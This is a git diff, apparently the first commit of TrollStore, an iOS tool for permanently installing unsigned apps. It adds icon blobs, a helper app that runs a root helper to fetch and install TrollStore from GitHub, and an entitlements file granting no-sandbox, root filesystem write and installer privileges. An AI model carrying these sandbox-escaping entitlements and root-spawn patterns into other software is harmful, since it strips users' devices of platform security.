zUp{ndeZ;dvTFkrm(XJaeuKMC?=$jh`)||L&??2BbJ-YqUkh*>0M=S2%(dMt!wsze-q1VkL3insIZ(jA(tl|qJ=4}rD+1e|5^uq`5 zTe0=NIlA1MV-qJ;T0?Zw1zXtE1^d6drPH@r_9we9Kk!z|4BgPXqGs+Gd3@TZ!xnwI zAR(uf<7mGhm*0DJtnTvjNrx-nt*-elt3&^vZw;z?`{b0n!#;d@dd33wY~ZL@Z_N5I z^`yZvaOTN}KPdZQP|>AB3;Qh6`@@@Pad3%U_{RU@HCk(E&dYfnwMrLhyW(V|9GzO| z`gotcVmmZ&{Q9(&&oM({`}XNK00)@qu`vx?eV@*HqwCF=a^5ZuAC}v*>fPIJ{{8Ix z?P3e8hSNPdq&yvdB)fWT>>Z*&mbHbp&m>r-OHz=lW(YyX`Um>Fa0x z(qj07zs?9v+WLF)I3-`*OdOBJ(Kq1_zC% zBxT9>%09DYWWRasc2X-~HMw`?tdhI@rQ_Y10%9MotT9`@Ol)0K0n7U7FIvM6@-rLpZ&b^k&JtzE4E~PJ+)72pN%hYlOp^>{$`Oy#<4S~@R7!85Z5Eu=C(GVC7 zfzc2c4S~@R7!85Z5Eu=C(GVC7fzc2c4S~@R7!85Z5Eu=C(GVC7fzc2c4S~@R7!85Z J5E#ZG008mT_pSf{ literal 0 HcmV?d00001 diff --git a/PersistenceHelper/TSPHAppDelegate.h b/PersistenceHelper/TSPHAppDelegate.h new file mode 100644 index 0000000..acee601 --- /dev/null +++ b/PersistenceHelper/TSPHAppDelegate.h @@ -0,0 +1,8 @@ +#import + +@interface TSPHAppDelegate : UIResponder + +@property (nonatomic, strong) UIWindow *window; +@property (nonatomic, strong) UINavigationController *rootViewController; + +@end diff --git a/PersistenceHelper/TSPHAppDelegate.m b/PersistenceHelper/TSPHAppDelegate.m new file mode 100644 index 0000000..ec4ff62 --- /dev/null +++ b/PersistenceHelper/TSPHAppDelegate.m @@ -0,0 +1,14 @@ +#import "TSPHAppDelegate.h" +#import "TSPHRootViewController.h" + +@implementation TSPHAppDelegate + +- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { + _window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; + _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSPHRootViewController alloc] init]]; + _window.rootViewController = _rootViewController; + [_window makeKeyAndVisible]; + return YES; +} + +@end diff --git a/PersistenceHelper/TSPHRootViewController.h b/PersistenceHelper/TSPHRootViewController.h new file mode 100644 index 0000000..f7cdc13 --- /dev/null +++ b/PersistenceHelper/TSPHRootViewController.h @@ -0,0 +1,9 @@ +#import +#import +#import + +@interface TSPHRootViewController : PSListController +{ + UIAlertController* _activityController; +} +@end diff --git a/PersistenceHelper/TSPHRootViewController.m b/PersistenceHelper/TSPHRootViewController.m new file mode 100644 index 0000000..8beadc9 --- /dev/null +++ b/PersistenceHelper/TSPHRootViewController.m @@ -0,0 +1,218 @@ +#import "TSPHRootViewController.h" +#import "../Helper/Shared.h" +#import "../Store/TSUtil.h" + +@implementation TSPHRootViewController + +- (void)loadView +{ + [super loadView]; + [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(reloadSpecifiers) name:UIApplicationWillEnterForegroundNotification object:nil]; +} + +- (void)startActivity:(NSString*)activity +{ + if(_activityController) return; + + _activityController = [UIAlertController alertControllerWithTitle:activity message:@"" preferredStyle:UIAlertControllerStyleAlert]; + UIActivityIndicatorView* activityIndicator = [[UIActivityIndicatorView alloc] initWithFrame:CGRectMake(5,5,50,50)]; + activityIndicator.hidesWhenStopped = YES; + activityIndicator.activityIndicatorViewStyle = UIActivityIndicatorViewStyleMedium; + [activityIndicator startAnimating]; + [_activityController.view addSubview:activityIndicator]; + + [self presentViewController:_activityController animated:YES completion:nil]; +} + +- (void)stopActivityWithCompletion:(void (^)(void))completion +{ + if(!_activityController) return; + + [_activityController dismissViewControllerAnimated:YES completion:^ + { + _activityController = nil; + if(completion) + { + completion(); + } + }]; +} + +- (NSMutableArray*)specifiers +{ + if(!_specifiers) + { + _specifiers = [NSMutableArray new]; + + PSSpecifier* infoGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + infoGroupSpecifier.name = @"Info"; + [_specifiers addObject:infoGroupSpecifier]; + + PSSpecifier* infoSpecifier = [PSSpecifier preferenceSpecifierNamed:@"TrollStore" + target:self + set:nil + get:@selector(getTrollStoreInfoString) + detail:nil + cell:PSTitleValueCell + edit:nil]; + infoSpecifier.identifier = @"info"; + [infoSpecifier setProperty:@YES forKey:@"enabled"]; + + [_specifiers addObject:infoSpecifier]; + + PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; + [_specifiers addObject:utilitiesGroupSpecifier]; + + if(trollStoreAppPath()) + { + PSSpecifier* refreshAppRegistrationsSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Refresh App Registrations" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + refreshAppRegistrationsSpecifier.identifier = @"refreshAppRegistrations"; + [refreshAppRegistrationsSpecifier setProperty:@YES forKey:@"enabled"]; + refreshAppRegistrationsSpecifier.buttonAction = @selector(refreshAppRegistrations); + [_specifiers addObject:refreshAppRegistrationsSpecifier]; + } + else + { + PSSpecifier* installTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install TrollStore" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + installTrollStoreSpecifier.identifier = @"installTrollStore"; + [installTrollStoreSpecifier setProperty:@YES forKey:@"enabled"]; + installTrollStoreSpecifier.buttonAction = @selector(installTrollStorePressed); + [_specifiers addObject:installTrollStoreSpecifier]; + } + + if(![NSBundle.mainBundle.bundleIdentifier hasPrefix:@"com.opa334."]) + { + [_specifiers addObject:[PSSpecifier emptyGroupSpecifier]]; + + PSSpecifier* uninstallPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall Persistence Helper" + target:self + set:nil + get:nil + detail:nil + cell:PSButtonCell + edit:nil]; + uninstallPersistenceHelperSpecifier.identifier = @"uninstallPersistenceHelper"; + [uninstallPersistenceHelperSpecifier setProperty:@YES forKey:@"enabled"]; + [uninstallPersistenceHelperSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; + uninstallPersistenceHelperSpecifier.buttonAction = @selector(uninstallPersistenceHelperPressed); + [_specifiers addObject:uninstallPersistenceHelperSpecifier]; + } + } + + [(UINavigationItem *)self.navigationItem setTitle:@"TrollStore Helper"]; + return _specifiers; +} + +- (NSString*)getTrollStoreInfoString +{ + NSString* trollStore = trollStoreAppPath(); + if(!trollStore) + { + return @"Not Installed"; + } + else + { + NSBundle* trollStoreBundle = [NSBundle bundleWithPath:trollStore]; + NSString* version = [trollStoreBundle objectForInfoDictionaryKey:@"CFBundleVersion"]; + return [NSString stringWithFormat:@"Installed, %@", version]; + } +} + +- (void)refreshAppRegistrations +{ + [self startActivity:@"Refreshing"]; + + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ + { + spawnRoot(helperPath(), @[@"refresh"]); + respring(); + + dispatch_async(dispatch_get_main_queue(), ^ + { + [self stopActivityWithCompletion:nil]; + }); + }); +} + +- (void)installTrollStorePressed +{ + NSURL* trollStoreURL = [NSURL URLWithString:@"https://github.com/opa334/TrollStore/releases/latest/download/TrollStore.tar"]; + NSURLRequest* trollStoreRequest = [NSURLRequest requestWithURL:trollStoreURL]; + + [self startActivity:@"Installing TrollStore"]; + + NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:trollStoreRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error) + { + if(error) + { + UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading TrollStore: %@", error] preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; + [errorAlert addAction:closeAction]; + + dispatch_async(dispatch_get_main_queue(), ^ + { + [self stopActivityWithCompletion:^ + { + [self presentViewController:errorAlert animated:YES completion:nil]; + }]; + }); + } + else + { + int ret = spawnRoot(helperPath(), @[@"install-trollstore", location.path]); + dispatch_async(dispatch_get_main_queue(), ^ + { + [self stopActivityWithCompletion:^ + { + [self reloadSpecifiers]; + + if(ret == 0) + { + respring(); + } + else + { + UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error installing TrollStore: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; + [errorAlert addAction:closeAction]; + [self presentViewController:errorAlert animated:YES completion:nil]; + } + }]; + }); + } + }]; + + [downloadTask resume]; +} + + +- (void)uninstallPersistenceHelperPressed +{ + UIAlertController* uninstallWarningAlert = [UIAlertController alertControllerWithTitle:@"Warning" message:@"Uninstalling the persistence helper will revert this app back to it's original state, you will however no longer be able to persistently refresh the TrollStore app registrations. Continue?" preferredStyle:UIAlertControllerStyleAlert]; + + UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]; + [uninstallWarningAlert addAction:cancelAction]; + + UIAlertAction* continueAction = [UIAlertAction actionWithTitle:@"Continue" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) + { + spawnRoot(helperPath(), @[@"uninstall-persistence-helper"]); + exit(0); + }]; + [uninstallWarningAlert addAction:continueAction]; + + [self presentViewController:uninstallWarningAlert animated:YES completion:nil]; +} + +@end diff --git a/PersistenceHelper/control b/PersistenceHelper/control new file mode 100644 index 0000000..618e6b7 --- /dev/null +++ b/PersistenceHelper/control @@ -0,0 +1,8 @@ +Package: com.opa334.trollstorehelper +Name: TrollStore Helper +Version: 1.0 +Architecture: iphoneos-arm +Description: Helper app to install and manage TrollStore! +Maintainer: opa334 +Author: opa334 +Section: Utilities diff --git a/PersistenceHelper/entitlements.plist b/PersistenceHelper/entitlements.plist new file mode 100644 index 0000000..e3a4663 --- /dev/null +++ b/PersistenceHelper/entitlements.plist @@ -0,0 +1,34 @@ + + + + + application-identifier + com.opa334.TrollStore + platform-application + + com.apple.security.exception.files.absolute-path.read-write + + / + + com.apple.private.security.no-sandbox + + com.apple.private.persona-mgmt + + com.apple.private.security.system-application + + com.apple.private.security.container-manager + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.lsapplicationworkspace.rebuildappdatabases + + com.apple.private.MobileContainerManager.allowed + + com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled + + com.apple.private.MobileInstallationHelperService.allowed + + com.apple.private.uninstall.deletion + + + \ No newline at end of file diff --git a/PersistenceHelper/main.m b/PersistenceHelper/main.m new file mode 100644 index 0000000..757f9e5 --- /dev/null +++ b/PersistenceHelper/main.m @@ -0,0 +1,10 @@ +#import +#import "TSPHAppDelegate.h" + +int main(int argc, char *argv[]) { + @autoreleasepool { + NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"]; + [mcmBundle load]; + return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSPHAppDelegate.class)); + } +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..30f8616 --- /dev/null +++ b/README.md @@ -0,0 +1,5 @@ +# TrollStore + +TrollStore in a permasigned jailed app that can permanently install any IPA you open in it. + +A proper readme will be added shortly, for now see the release post on reddit. diff --git a/Store/Makefile b/Store/Makefile new file mode 100644 index 0000000..19b0dde --- /dev/null +++ b/Store/Makefile @@ -0,0 +1,14 @@ +TARGET := iphone:clang:14.5:14.0 +INSTALL_TARGET_PROCESSES = TrollStore + +include $(THEOS)/makefiles/common.mk + +APPLICATION_NAME = TrollStore + +TrollStore_FILES = $(wildcard *.m) ../Helper/Shared.m +TrollStore_FRAMEWORKS = UIKit CoreGraphics CoreServices +TrollStore_PRIVATE_FRAMEWORKS = Preferences +TrollStore_CFLAGS = -fobjc-arc +TrollStore_CODESIGN_FLAGS = -Sentitlements.plist + +include $(THEOS_MAKE_PATH)/application.mk diff --git a/Store/Resources/AppIcon29x29.png b/Store/Resources/AppIcon29x29.png new file mode 100644 index 0000000000000000000000000000000000000000..2452842cb5db146b18d3551f6c282641b0710882 GIT binary patch literal 2863 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 literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon29x29@2x.png b/Store/Resources/AppIcon29x29@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..62fd6270c7f3962fe7f04b79003c314aa83fcf8e GIT binary patch literal 6214 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 